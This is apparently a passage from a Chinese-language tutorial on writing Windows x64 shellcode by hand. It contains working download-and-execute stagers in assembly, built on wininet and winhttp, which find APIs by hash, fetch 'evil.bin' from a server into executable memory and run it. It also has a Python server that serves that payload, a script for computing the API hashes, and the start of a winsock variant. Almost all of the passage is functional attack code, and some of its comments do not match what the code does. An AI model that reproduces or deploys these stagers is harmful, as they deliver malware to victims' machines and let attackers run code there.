pVirtualAlloc(pExecutableMemory, 0, MEM_RELEASE, 0);

return 0;
}
# -*- coding: utf-8 -*-
"""
Socket HTTP服务器 - 为wsocks4stager提供shellcode文件
监听8080端口,当收到GET /evil.bin请求时返回evil.bin文件内容
"""

import socket
import os
import sys
import threading
from datetime import datetime

def log_message(message):
"""记录日志消息"""
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
print(f"[{timestamp}] {message}")

def handle_client(client_socket, client_address):
"""处理客户端连接"""
try:
# 接收HTTP请求
request = client_socket.recv(4096).decode('utf-8')
log_message(f"收到来自 {client_address[0]}:{client_address[1]} 的请求")

# 解析请求
if not request:
return

# 检查是否是GET请求
if request.startswith('GET'):
# 解析请求路径
first_line = request.split('\n')[0]
path = first_line.split(' ')[1]

log_message(f"请求路径: {path}")

# 检查是否是请求evil.bin文件
if path == '/evil.bin':
# 读取evil.bin文件
if os.path.exists('evil.bin'):
with open('evil.bin', 'rb') as f:
file_content = f.read()

# 构建HTTP响应
response_headers = [
'HTTP/1.1 200 OK',
'Content-Type: application/octet-stream',
f'Content-Length: {len(file_content)}',
'Connection: close',
'',
''
]

response = '\r\n'.join(response_headers).encode('utf-8') + file_content

# 发送响应
client_socket.send(response)
log_message(f"成功发送evil.bin文件 ({len(file_content)} 字节)")

else:
# 文件不存在
error_response = (
'HTTP/1.1 404 Not Found\r\n'
'Content-Type: text/plain\r\n'
'Connection: close\r\n'
'\r\n'
'File not found: evil.bin'
).encode('utf-8')
client_socket.send(error_response)
log_message("错误: evil.bin文件不存在")
else:
# 其他路径返回404
error_response = (
'HTTP/1.1 404 Not Found\r\n'
'Content-Type: text/plain\r\n'
'Connection: close\r\n'
'\r\n'
f'Path not found: {path}'
).encode('utf-8')
client_socket.send(error_response)
log_message(f"404错误: 路径 {path} 不存在")
else:
# 非GET请求
error_response = (
'HTTP/1.1 405 Method Not Allowed\r\n'
'Content-Type: text/plain\r\n'
'Connection: close\r\n'
'\r\n'
'Only GET method is allowed'
).encode('utf-8')
client_socket.send(error_response)
log_message("错误: 只支持GET请求")

except Exception as e:
log_message(f"处理客户端请求时出错: {e}")
finally:
client_socket.close()

def main():
"""主函数"""
print("=" * 60)
print("Socket HTTP服务器 - wsocks4stager配套工具")
print("=" * 60)

# 检查并创建evil.bin文件
if not os.path.exists('evil.bin'):
log_message("evil.bin文件不存在,创建示例文件...")
create_sample_evil_bin()
else:
file_size = os.path.getsize('evil.bin')
log_message(f"找到evil.bin文件 ({file_size} 字节)")

# 创建socket服务器
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

# 绑定到8080端口
host = '0.0.0.0' # 监听所有接口
port = 8080

try:
server_socket.bind((host, port))
server_socket.listen(5)
log_message(f"服务器启动成功,监听 {host}:{port}")
log_message("等待客户端连接...")
log_message("按 Ctrl+C 停止服务器")
print("-" * 60)

while True:
try:
# 接受客户端连接
client_socket, client_address = server_socket.accept()

# 为每个客户端创建新线程
client_thread = threading.Thread(
target=handle_client,
args=(client_socket, client_address)
)
client_thread.daemon = True
client_thread.start()

except KeyboardInterrupt:
log_message("收到停止信号,正在关闭服务器...")
break
except Exception as e:
log_message(f"接受连接时出错: {e}")
continue

except Exception as e:
log_message(f"服务器启动失败: {e}")
sys.exit(1)
finally:
server_socket.close()
log_message("服务器已关闭")

if __name__ == "__main__":
main()

img

5.4 纯汇编远程 shellcode(wininet)

依旧是这三个文件的内容哈,开始吧

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x64/src/block/block_api.asm

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x64/src/stager/stager_reverse_https.asm

在此之前的 shellcode 弹窗已经详细研究了 block_api.asm的汇编内容,现在需要详细的研究余下两个代码的内容。

因为计算 hash 很麻烦,因此写了一个计算 hash 的脚本;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
def ror32(value, bits):
"""对32位整数执行循环右移"""
return ((value >> bits) | (value << (32 - bits))) & 0xFFFFFFFF


def hash_module(module_name: str) -> int:
"""
模块名哈希算法(等价于汇编)
示例:kernel32.dll -> 模块hash
"""
module_name = module_name.upper() # 转大写
print(module_name)
h = 0
for ch in module_name:
h = ror32(h, 13)
h = (h + ord(ch)) & 0xFFFFFFFF
h = ror32(h, 13)
return h


def hash_function(module_name: str, func_name: str) -> int:
"""
函数hash = 函数名hash + 模块hash
"""
module_hash = hash_module(module_name)
h = 0
for ch in func_name:
h = ror32(h, 13)
h = (h + ord(ch)) & 0xFFFFFFFF
h = ror32(h, 13)
final_hash = (h + module_hash) & 0xFFFFFFFF
return final_hash

if __name__ == "__main__":
print("Windows API Hash 计算器")
print("=" * 60)
print("输入 'q' 或 'quit' 退出程序")
print()

while True:
try:
# 获取模块名
mod = input("请输入模块名称 (例如: kernel32.dll): ").strip()
if mod.lower() in ['q', 'quit', 'exit']:
print("退出程序")
break

if not mod:
print("模块名称不能为空!\n")
continue

# 获取函数名
func = input("请输入函数名称 (例如: LoadLibraryA): ").strip()
if func.lower() in ['q', 'quit', 'exit']:
print("退出程序")
break

if not func:
print("函数名称不能为空!\n")
continue

# 计算并显示哈希值
hash_value = hash_function(mod, func)
print()
print(f"组合: {mod} + {func}")
print(f"组合Hash = 0x{hash_value:08X}")
print("-" * 60)
print()

except KeyboardInterrupt:
print("\n\n程序被用户中断")
break
except Exception as e:
print(f"发生错误: {e}")
print("请重试...\n")
.code

main proc
cld
and rsp, 0FFFFFFFFFFFFFFF0h
load_wininet:
push 0
mov r14, 'teniniw' ; 将字节 'wininet',0 压入栈中
push r14 ; 保存指向 "wininet" 字符串的指针,用于 LoadLibraryA 调用
mov r14, rsp
mov rcx, r14 ; 设置要加载的库的参数
mov r10, 0DEC21CCDh ; hash( "kernel32.dll", "LoadLibraryA" )
call GetProcAddressByHash ; LoadLibraryA("wininet")

internetopen:
xor rcx, rcx ; LPCTSTR lpszAgent (NULL)
xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0)
xor r8, r8 ; LPCTSTR lpszProxyName
xor r9, r9 ; LPCTSTR lpszProxyBypass
push r8 ; DWORD dwFlags
push r8 ; 对齐
mov r10, 0363799Dh ; hash( "wininet.dll", "InternetOpenA" )
call GetProcAddressByHash ; InternetOpenA(NULL, PRECONFIG, NULL, NULL, 0)

jmp dbl_get_server_host

internetconnect:
pop rdx ; LPCTSTR lpszServerName 弹出返回地址,直接获取到服务器主机名
mov rcx, rax ; HINTERNET hInternet
mov r8, 8080 ; PORT
xor r9, r9 ; LPCTSTR lpszUsername
push r9 ; DWORD_PTR dwContext (NULL)
push r9 ; DWORD dwFlags
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push r9 ; alignment
mov r10, 2289ACBAh ; hash( "wininet.dll", "InternetConnectA" )
call GetProcAddressByHash ; InternetConnectA(hInternet, "4444", NULL, NULL, 0, INTERNET_SERVICE_HTTP, 0, 0)

jmp get_server_uri

get_server_uri:
call get_http_method

server_uri:
db "/evil.bin", 0

get_http_method:
call get_http_version

http_method:
db "GET", 0

get_http_version:
call httpopenrequest

http_version:
db "HTTP/1.1", 0

httpopenrequest:
pop r9 ; LPCTSTR lpszVersion (弹出 "HTTP/1.1")
pop rdx ; LPCTSTR lpszVerb (弹出 "POST")
pop r8 ; LPCTSTR lpszObjectName (弹出 "/evil.bin")
mov rcx, rax ; HINTERNET hConnect
push 0 ; DWORD_PTR dwContext (NULL)
push 80000000h ; DWORD dwFlags
push 0 ; LPCTSTR *lplpszAcceptTypes (NULL)
push 0 ; LPCTSTR lpszReferer (NULL)
mov r10, 9718794Eh ; hash( "wininet.dll", "HttpOpenRequestA" )
call GetProcAddressByHash ; HttpOpenRequestA(hConnect, "POST", "/evil.bin", "HTTP/1.1", NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_NO_CACHE_WRITE | INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_NO_UI, NULL)
mov rsi, rax

internetsetoption:
mov rcx, rsi ; HINTERNET hInternet
mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push 0 ; 对齐
push 3380h
mov r8, rsp
mov r9, 4 ; sizeof(dwFlags)
mov r10, 0E28869D8h ; hash( "wininet.dll", "InternetSetOptionA" )
call GetProcAddressByHash ; InternetSetOptionA(hInternet, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) )

httpsendrequest:
mov rcx, rsi ; HINTERNET hRequest
xor rdx, rdx ; LPCTSTR lpszHeaders
xor r8, r8 ; DWORD dwHeadersLength
xor r9, r9 ; LPVOID lpOptional
push rdx ; 对齐
push rdx ; DWORD dwOptionalLength
mov r10, 0D7022990h ; hash( "wininet.dll", "HttpSendRequestA" )
call GetProcAddressByHash ; HttpSendRequestA(hRequest, NULL, NULL, 0, NULL, 0, 0, 0)
test eax,eax
jnz short allocate_memory
jmp try_it_again

try_it_again:
dec rdi
jz failure
jmp short internetsetoption

failure:
mov r10, 2E3E5B71h ; hash( "kernel32.dll", "ExitProcess" )
call GetProcAddressByHash ; ExitProcess(0)

allocate_memory:
xor rcx, rcx ; LPVOID lpAddress
mov rdx, 00400000h ; SIZE_T dwSize
mov r8, 1000h ; DWORD flAllocationType(MEM_COMMIT)
mov r9, 40h ; DWORD flProtect(PAGE_EXECUTE_READWRITE)
mov r10, 0BCEF49D9h ; hash( "kernel32.dll", "VirtualAlloc" )
call GetProcAddressByHash ; VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)

download_prep:
xchg rax, rbx ; 将分配的基础地址放在 ebx 中
push rbx ; 在栈上存储阶段基础地址的副本
push rbx ; 读取字节数的临时存储
mov rdi, rsp ; &bytesRead

download_more:
mov rcx, rsi ; HINTERNET hFile
mov rdx, rbx ; LPVOID lpBuffer
mov r8, 8192 ; DWORD dwNumberOfBytesToRead
mov r9, rdi ; LPDWORD lpdwNumberOfBytesRead
mov r10, 3E73B975h ; hash( "wininet.dll", "InternetReadFile" )
call GetProcAddressByHash ; InternetReadFile(hFile, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead)
add rsp, 32 ; 清理保留空间
test eax,eax
jz failure
mov ax, word ptr [rdi]
add rbx, rax ; buffer += bytes_received
test rax,rax
jnz download_more
pop rax
pop rax
jmp execute_stage

execute_stage:
ret

dbl_get_server_host: ; 双重跳转(突破跳转距离限制)到获取服务器主机名
jmp get_server_host

get_server_host: ; 后接server_host
call internetconnect

server_host:
db '127.0.0.1', 0

GetProcAddressByHash:
push r9 ; 保存第4个参数
push r8 ; 保存第3个参数
push rdx ; 保存第2个参数
push rcx ; 保存第1个参数
push rsi ; 保存 RSI
xor rdx, rdx ; 清零 rdx
mov rdx, gs:[rdx+60h] ; 获取 PEB 的指针
mov rdx, [rdx+18h] ; 获取 PEB->Ldr
mov rdx, [rdx+20h] ; 从 InMemoryOrder 模块列表中获取第一个模块

; 获取下一个模块名称和长度
next_mod: ;
mov rsi, [rdx+50h] ; 获取模块名称的指针 (unicode 字符串)
movzx rcx, word ptr [rdx+48h] ; 将 rcx 设置为我们要检查的长度
xor r9, r9 ; 清零 r9,它将存储模块名称的哈希值

loop_modname: ;
xor rax, rax ; 清零 rax
lodsb ; 读取名称的下一个字节
cmp al, 'a' ; 某些版本的 Windows 使用小写模块名称
jl not_lowercase ;
sub al, 20h ; 如果是,则标准化为大写
not_lowercase: ;
ror r9d, 0dh ; 对r9 的低32位进行循环右移13位,不影响高32位
add r9d, eax ; 添加名称的下一个字节
loop loop_modname ; 循环直到我们读取足够的数据
; 现在我们已经计算了模块哈希
push rdx ; 保存模块列表中的当前位置,供后续使用
push r9 ; 保存当前模块哈希,供后续使用
; 继续遍历导出地址表
mov rdx, [rdx+20h] ; 获取此模块的基地址
mov eax, dword ptr [rdx+3ch] ; 获取 PE 头
add rax, rdx ; 添加模块的基地址
cmp word ptr [rax+18h], 020Bh ; 这个模块实际上是 PE64 可执行文件吗?
; 这个测试用例涵盖了在 wow64 上运行但在通过 nativex64.asm 的原生 x64 上下文中的情况
; 在 PEB 的模块列表中可能存在 PE32 模块(通常是主模块)
; 由于我们使用的是 win64 PEB ([gs:96]),我们不会看到 win32 PEB ([fs:48]) 中存在的 wow64 模块
jne get_next_mod1 ; 如果不是,继续处理下一个模块
mov eax, dword ptr [rax+88h] ; 获取导出表的 RVA
test rax, rax ; 测试是否没有导出地址表
jz get_next_mod1 ; 如果没有 EAT,处理下一个模块
add rax, rdx ; 添加模块的基地址
push rax ; 保存当前模块的 EAT
mov ecx, dword ptr [rax+18h] ; 获取函数名称的数量
mov r8d, dword ptr [rax+20h] ; 获取函数名称的 rva
add r8, rdx ; 添加模块的基地址
; 计算模块哈希 + 函数哈希
get_next_func: ;
jrcxz get_next_mod ; 当我们到达 EAT 的开始(我们向后搜索)时,处理下一个模块
dec rcx ; 递减函数名称计数器
mov esi, dword ptr [r8+rcx*4]; 获取下一个模块名称的 rva
add rsi, rdx ; 添加模块的基地址
xor r9, r9 ; 清零 r9,它将存储函数名称的哈希值
; 并将其与我们想要的进行比较
loop_funcname: ;
xor rax, rax ; 清零 rax
lodsb ; 读取 ASCII 函数名称的下一个字节
ror r9d, 0dh ; 右旋转我们的哈希值
add r9d, eax ; 添加名称的下一个字节
cmp al, ah ; 将 AL(名称的下一个字节)与 AH(null)进行比较
jne loop_funcname ; 如果我们没有到达 null 终止符,继续
add r9, [rsp+8] ; 将当前模块哈希添加到函数哈希
cmp r9d, r10d ; 将哈希与我们正在搜索的进行比较
jnz get_next_func ; 如果没有找到,去计算下一个函数哈希
; 如果找到,修复栈,调用函数,然后计算下一个...
pop rax ; 恢复当前模块的 EAT
mov r8d, dword ptr [rax+24h] ; 获取序数表的 rva
add r8, rdx ; 添加模块的基地址
mov cx, [r8+2*rcx] ; 获取所需函数的序数
mov r8d, dword ptr [rax+1ch] ; 获取函数地址表的 rva
add r8, rdx ; 添加模块的基地址
mov eax, dword ptr [r8+4*rcx] ; 获取所需函数的 RVA
add rax, rdx ; 添加模块的基地址以获取函数的实际 VA
; 我们现在修复栈并执行对所需函数的调用...
finish:
pop r8 ; 清除当前模块的哈希
pop r8 ; 清除模块列表中的当前位置
pop rsi ; 恢复 RSI
pop rcx ; 恢复第1个参数
pop rdx ; 恢复第2个参数
pop r8 ; 恢复第3个参数
pop r9 ; 恢复第4个参数
pop r10 ; 弹出返回地址
sub rsp, 20h ; 为四个寄存器参数保留空间 (4 * sizeof(QWORD) = 0x20)
; 如果需要,调用者有责任恢复 RSP(或分配更多空间或对齐 RSP)
push r10 ; 压回返回地址
jmp rax ; 跳转到所需的函数
; 我们现在自动返回到正确的调用者...
get_next_mod: ;
pop rax ; 弹出当前(现在是前一个)模块的 EAT
get_next_mod1: ;
pop r9 ; 弹出当前(现在是前一个)模块的哈希
pop rdx ; 恢复我们在模块列表中的位置
mov rdx, [rdx] ; 获取下一个模块
jmp next_mod ; 处理这个模块

main endp
end

5.5 纯汇编远程 shellcode(winhttp)

如果已经真的自己研究过上面的几个纯汇编手写 shellcode 的话,到这个应该也就不难写了,对着 cpp 的实现去写就 ok 了,或者直接拿之前的对着 cpp 的实现去改;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
.code

main proc
cld
and rsp, 0FFFFFFFFFFFFFFF0h
load_winhttp:
mov r14, 'lld'
push r14
mov r14, '.ptthniw' ; 将字节 'winhttp.dll',0 压入栈中
push r14 ; 保存指向 "winhttp.dll" 字符串的指针,用于 LoadLibraryA 调用
mov r14, rsp
mov rcx, r14 ; 设置要加载的库的参数
mov r10, 0DEC21CCDh ; hash( "kernel32.dll", "LoadLibraryA" )
call GetProcAddressByHash ; LoadLibraryA("winhttp.dll")
WinHttpOpen:
mov rdi, 3 ; 初始化重试计数器 (最多重试3次)
xor rcx, rcx ; LPCWSTR pszAgentW (NULL - 默认用户代理)
mov rdx, 1 ; DWORD dwAccessType (1 = WINHTTP_ACCESS_TYPE_NO_PROXY)
xor r8, r8 ; LPCWSTR pszProxyW (NULL)
xor r9, r9 ; LPCWSTR pszProxyBypassW (NULL)
push 0 ; 对齐
push r9 ; DWORD dwFlags (0 = 同步模式)
mov r10, 332D226Eh ; hash( "winhttp.dll", "WinHttpOpen" )
call GetProcAddressByHash ; WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0)

jmp dbl_get_server_host

dbl_get_server_host: ; 双重跳转(突破跳转距离限制)到获取服务器主机名
jmp get_server_host

get_server_host: ; 后接server_host
call WinHttpConnect

server_host:
db '1', 0, '2', 0, '7', 0, '.', 0, '0', 0, '.', 0, '0', 0, '.', 0, '1', 0, 0, 0 ; Unicode 宽字符串

WinHttpConnect:
pop rdx ; LPCTSTR pswzServerName 弹出返回地址,直接获取到服务器主机名
mov rcx, rax ; HINTERNET hSession
mov r8, 8080 ; INTERNET_PORT nServerPort
xor r9, r9 ; DWORD dwReserved (NULL)
mov r10, 39AE9EB0h ; hash( "winhttp.dll", "WinHttpConnect" )
call GetProcAddressByHash ; WinHttpConnect(hSession, IP, 8080, 0)

jmp get_server_uri

get_server_uri:
call get_http_method

server_uri:
db '/', 0, 'e', 0, 'v', 0, 'i', 0, 'l', 0, '.', 0, 'b', 0, 'i', 0, 'n', 0, 0, 0 ; Unicode 宽字符串

get_http_method:
call get_http_version

http_method:
db 'G', 0, 'E', 0, 'T', 0, 0, 0 ; Unicode 宽字符串

get_http_version:
call WinHttpOpenRequest

http_version:
db 'H', 0, 'T', 0, 'T', 0, 'P', 0, '/', 0, '1', 0, '.', 0, '1', 0, 0, 0 ; Unicode 宽字符串

WinHttpOpenRequest:
pop r9 ; LPCWSTR pwszVersion (弹出 "HTTP/1.1")
pop rdx ; LPCWSTR pwszVerb (弹出 "GET")
pop r8 ; LPCWSTR pwszObjectName (弹出 "/evil.bin")
mov rcx, rax ; HINTERNET hConnect
push 0 ; 对齐
push 0 ; DWORD dwFlags (0)
push 0 ; LPCTSTR *ppwszAcceptTypes (NULL)
push 0 ; LPCTSTR pwszReferrer (NULL)
mov r10, 0D3431402h ; hash( "winhttp.dll", "WinHttpOpenRequest" )
call GetProcAddressByHash ; WinHttpOpenRequest(hConnect, "GET", "/evil.bin", "HTTP/1.1", NULL, NULL, 0);
mov rsi, rax

WinHttpSendRequest:
mov rcx, rsi ; HINTERNET hRequest
xor rdx, rdx ; LPCWSTR lpszHeaders
xor r8, r8 ; DWORD dwHeadersLength
xor r9, r9 ; LPVOID lpOptional
push 0 ; 对齐
push 0 ; DWORD_PTR dwContext
push 0 ; DWORD dwTotalLength
push 0 ; DWORD dwOptionalLength
mov r10, 094B5BFFh ; hash( "winhttp.dll", "WinHttpSendRequest" )
call GetProcAddressByHash ; WinHttpSendRequest(hRequest, NULL, 0, NULL, 0, 0, 0);
test eax,eax
jz try_it_again

WinHttpReceiveResponse:
mov rcx, rsi ; HINTERNET hRequest
xor rdx, rdx ; LPVOID lpReserved (NULL)
mov r10, 0E82D8B6Fh ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
call GetProcAddressByHash ; WinHttpReceiveResponse(hRequest, NULL)
test eax,eax
jnz short allocate_memory
jmp try_it_again

try_it_again:
dec rdi
jz failure
jmp short WinHttpSendRequest

failure:
mov r10, 2E3E5B71h ; hash( "kernel32.dll", "ExitProcess" )
call GetProcAddressByHash ; ExitProcess(0)

allocate_memory:
xor rcx, rcx ; LPVOID lpAddress
mov rdx, 00400000h ; SIZE_T dwSize
mov r8, 1000h ; DWORD flAllocationType(MEM_COMMIT)
mov r9, 40h ; DWORD flProtect(PAGE_EXECUTE_READWRITE)
mov r10, 0BCEF49D9h ; hash( "kernel32.dll", "VirtualAlloc" )
call GetProcAddressByHash ; VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)

download_prep:
xchg rax, rbx ; 将分配的基础地址放在 ebx 中
push rbx ; 在栈上存储阶段基础地址的副本
push rbx ; 读取字节数的临时存储
mov r15, rsp ; &bytesRead

query_data_available:
mov rcx, rsi ; HINTERNET hRequest
mov rdx, r15 ; LPDWORD lpdwNumberOfBytesAvailable
mov r10, 0C19511BAh ; hash( "winhttp.dll", "WinHttpQueryDataAvailable" )
call GetProcAddressByHash ; WinHttpQueryDataAvailable(hRequest, &dwSize)
add rsp, 20h ; 清理保留空间
test eax,eax
jz failure
mov eax, dword ptr [r15]
test eax,eax
jz download_complete

download_more:
mov rcx, rsi ; HINTERNET hRequest
mov rdx, rbx ; LPVOID lpBuffer
mov r8, 2000h ; DWORD dwNumberOfBytesToRead
mov r9, r15 ; LPDWORD lpdwNumberOfBytesRead
mov r10, 0F5B42CD6h ; hash( "winhttp.dll", "WinHttpReadData" )
call GetProcAddressByHash ; WinHttpReadData(hRequest, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead)
add rsp, 20h ; 清理保留空间
test eax,eax
jz failure
mov ax, word ptr [r15] ; 受到的字节数
add rbx, rax ; buffer += bytes_received
test rax,rax
jnz query_data_available

download_complete:
pop rax
pop rax
jmp execute_stage

execute_stage:
ret

GetProcAddressByHash:
push r9 ; 保存第4个参数
push r8 ; 保存第3个参数
push rdx ; 保存第2个参数
push rcx ; 保存第1个参数
push rsi ; 保存 RSI
xor rdx, rdx ; 清零 rdx
mov rdx, gs:[rdx+60h] ; 获取 PEB 的指针
mov rdx, [rdx+18h] ; 获取 PEB->Ldr
mov rdx, [rdx+20h] ; 从 InMemoryOrder 模块列表中获取第一个模块

; 获取下一个模块名称和长度
next_mod: ;
mov rsi, [rdx+50h] ; 获取模块名称的指针 (unicode 字符串)
movzx rcx, word ptr [rdx+48h] ; 将 rcx 设置为我们要检查的长度
xor r9, r9 ; 清零 r9,它将存储模块名称的哈希值

loop_modname: ;
xor rax, rax ; 清零 rax
lodsb ; 读取名称的下一个字节
cmp al, 'a' ; 某些版本的 Windows 使用小写模块名称
jl not_lowercase ;
sub al, 20h ; 如果是,则标准化为大写
not_lowercase: ;
ror r9d, 0dh ; 对r9 的低32位进行循环右移13位,不影响高32位
add r9d, eax ; 添加名称的下一个字节
loop loop_modname ; 循环直到我们读取足够的数据
; 现在我们已经计算了模块哈希
push rdx ; 保存模块列表中的当前位置,供后续使用
push r9 ; 保存当前模块哈希,供后续使用
; 继续遍历导出地址表
mov rdx, [rdx+20h] ; 获取此模块的基地址
mov eax, dword ptr [rdx+3ch] ; 获取 PE 头
add rax, rdx ; 添加模块的基地址
cmp word ptr [rax+18h], 020Bh ; 这个模块实际上是 PE64 可执行文件吗?
; 这个测试用例涵盖了在 wow64 上运行但在通过 nativex64.asm 的原生 x64 上下文中的情况
; 在 PEB 的模块列表中可能存在 PE32 模块(通常是主模块)
; 由于我们使用的是 win64 PEB ([gs:96]),我们不会看到 win32 PEB ([fs:48]) 中存在的 wow64 模块
jne get_next_mod1 ; 如果不是,继续处理下一个模块
mov eax, dword ptr [rax+88h] ; 获取导出表的 RVA
test rax, rax ; 测试是否没有导出地址表
jz get_next_mod1 ; 如果没有 EAT,处理下一个模块
add rax, rdx ; 添加模块的基地址
push rax ; 保存当前模块的 EAT
mov ecx, dword ptr [rax+18h] ; 获取函数名称的数量
mov r8d, dword ptr [rax+20h] ; 获取函数名称的 rva
add r8, rdx ; 添加模块的基地址
; 计算模块哈希 + 函数哈希
get_next_func: ;
jrcxz get_next_mod ; 当我们到达 EAT 的开始(我们向后搜索)时,处理下一个模块
dec rcx ; 递减函数名称计数器
mov esi, dword ptr [r8+rcx*4]; 获取下一个模块名称的 rva
add rsi, rdx ; 添加模块的基地址
xor r9, r9 ; 清零 r9,它将存储函数名称的哈希值
; 并将其与我们想要的进行比较
loop_funcname: ;
xor rax, rax ; 清零 rax
lodsb ; 读取 ASCII 函数名称的下一个字节
ror r9d, 0dh ; 右旋转我们的哈希值
add r9d, eax ; 添加名称的下一个字节
cmp al, ah ; 将 AL(名称的下一个字节)与 AH(null)进行比较
jne loop_funcname ; 如果我们没有到达 null 终止符,继续
add r9, [rsp+8] ; 将当前模块哈希添加到函数哈希
cmp r9d, r10d ; 将哈希与我们正在搜索的进行比较
jnz get_next_func ; 如果没有找到,去计算下一个函数哈希
; 如果找到,修复栈,调用函数,然后计算下一个...
pop rax ; 恢复当前模块的 EAT
mov r8d, dword ptr [rax+24h] ; 获取序数表的 rva
add r8, rdx ; 添加模块的基地址
mov cx, [r8+2*rcx] ; 获取所需函数的序数
mov r8d, dword ptr [rax+1ch] ; 获取函数地址表的 rva
add r8, rdx ; 添加模块的基地址
mov eax, dword ptr [r8+4*rcx] ; 获取所需函数的 RVA
add rax, rdx ; 添加模块的基地址以获取函数的实际 VA
; 我们现在修复栈并执行对所需函数的调用...
finish:
pop r8 ; 清除当前模块的哈希
pop r8 ; 清除模块列表中的当前位置
pop rsi ; 恢复 RSI
pop rcx ; 恢复第1个参数
pop rdx ; 恢复第2个参数
pop r8 ; 恢复第3个参数
pop r9 ; 恢复第4个参数
pop r10 ; 弹出返回地址
sub rsp, 20h ; 为四个寄存器参数保留空间 (4 * sizeof(QWORD) = 0x20)
; 如果需要,调用者有责任恢复 RSP(或分配更多空间或对齐 RSP)
push r10 ; 压回返回地址
jmp rax ; 跳转到所需的函数
; 我们现在自动返回到正确的调用者...
get_next_mod: ;
pop rax ; 弹出当前(现在是前一个)模块的 EAT
get_next_mod1: ;
pop r9 ; 弹出当前(现在是前一个)模块的哈希
pop rdx ; 恢复我们在模块列表中的位置
mov rdx, [rdx] ; 获取下一个模块
jmp next_mod ; 处理这个模块

main endp
end

img

5.6 纯汇编远程 shellcode(winsock)

额。。。。。。。这个,自己解析 http 格式,啊这,我,有点,不想写了,。。。算了还是写吧。思想大家看 one day 师傅吧,我这边直接看代码!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
.code

main proc
cld
and rsp, 0FFFFFFFFFFFFFFF0h

load_ws2_32:
mov r14, 'll'
push r14
mov r14, 'd.23_2sw' ; 将字节 'ws2_32.dll',0 压入栈中
push r14
mov r14, rsp
mov rcx, r14 ; LoadLibraryA 参数: LPCSTR lpLibFileName
mov r10, 0DEC21CCDh ; hash( "kernel32.dll", "LoadLibraryA" )
call GetProcAddressByHash ; LoadLibraryA("ws2_32.dll")

WSAStartup_call:
mov rdi, 3 ; 初始化重试计数器 (最多重试3次)
